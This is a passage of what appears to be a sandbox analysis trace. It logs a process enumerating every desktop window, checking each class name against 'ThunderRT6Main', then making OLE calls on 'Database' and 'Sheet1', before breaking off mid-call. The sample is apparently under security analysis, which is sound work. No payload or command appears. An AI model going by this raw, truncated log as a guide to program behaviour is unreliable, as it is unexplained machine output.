lpdwProcessId=0x0) returned 0x56c [0083.629] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0083.629] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.629] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.629] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0083.629] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0083.629] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0083.629] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0083.629] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0083.629] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0083.629] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.629] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.629] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0083.629] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0083.630] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0083.630] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0083.630] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0083.630] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0083.630] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.630] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.630] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0083.630] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0083.630] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0083.630] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0083.630] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0083.630] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0083.630] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.630] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.630] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0083.630] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0083.630] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0083.630] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0083.630] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0083.630] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0083.630] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.630] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.630] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0083.630] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0083.630] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0083.630] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0083.630] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0083.630] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0083.631] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.631] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.631] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0083.631] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0083.631] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0083.631] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0083.631] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0083.631] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0083.631] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.631] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.631] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0083.631] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0083.631] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0083.631] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0083.631] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0083.631] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0083.631] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.631] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.631] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0083.631] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0083.631] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0083.631] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0083.631] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0083.631] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0083.631] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.631] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.631] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0083.631] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0083.631] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0083.631] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0083.631] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0083.632] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0083.632] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0083.632] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0083.632] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0083.632] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0083.632] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0083.632] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0083.632] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0083.632] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0083.632] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0083.632] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0083.632] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0083.632] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0083.632] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0083.632] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0083.632] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0083.632] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0083.632] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.632] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.632] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0083.632] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0083.632] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0083.632] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0083.632] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0083.632] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0083.632] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.632] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.632] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0083.632] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0083.632] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0083.632] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0083.632] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0083.633] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0083.633] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.633] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.633] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0083.633] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0083.633] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0083.633] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0083.633] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0083.633] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0083.633] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.633] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.633] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.633] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0083.633] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0083.633] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0083.633] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.633] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0083.633] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0083.633] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0083.633] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.633] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0083.633] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.633] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.633] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.633] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0083.633] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.633] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.633] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.633] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0083.633] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.633] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.634] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.634] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0083.634] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0083.634] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0083.634] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.634] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0083.634] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0083.634] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0083.634] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0083.634] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0083.634] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.634] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.634] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0083.634] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0083.634] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0083.634] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0083.634] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0083.634] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0083.634] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.634] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.634] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0083.634] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0083.634] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0083.634] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0083.634] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0083.634] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0083.634] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.634] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.634] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0083.634] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0083.634] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0083.635] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0083.635] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0083.635] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0083.635] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0083.635] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0083.635] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0083.635] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0083.635] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0083.635] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0083.635] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0083.635] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0083.635] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0083.635] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0083.635] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.635] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0083.635] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0083.635] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0083.635] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0083.635] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0083.635] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0083.635] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0083.635] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.635] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0083.635] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0083.635] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0083.635] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0083.635] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0083.635] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.635] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.635] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0083.635] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0083.635] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.636] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.636] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.636] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0083.636] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.636] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.636] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.636] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0083.636] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0083.636] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0083.636] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0083.636] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0083.636] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.636] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.636] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0083.636] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0083.636] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0083.636] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0083.636] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.636] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0083.636] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0083.636] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0083.636] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.636] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0083.636] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0083.636] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0083.636] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0083.636] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0083.636] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0083.636] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0083.636] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0083.637] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0083.637] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0083.637] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0083.637] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0083.637] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0083.637] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.637] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.637] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0083.637] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0083.637] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0083.637] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0083.637] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0083.637] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0083.637] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.637] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.637] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0083.637] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0083.637] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0083.637] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0083.637] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0083.637] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0083.637] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0083.637] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0083.637] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0083.637] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0083.637] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x7001700 [0083.639] IMalloc:Free (This=0x7feffc15380, pv=0x7001700) [0083.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0083.980] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb77cd20 [0083.980] strncpy_s (in: _Dst=0xb77cd20, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0083.980] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0083.980] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0083.980] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0083.980] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, 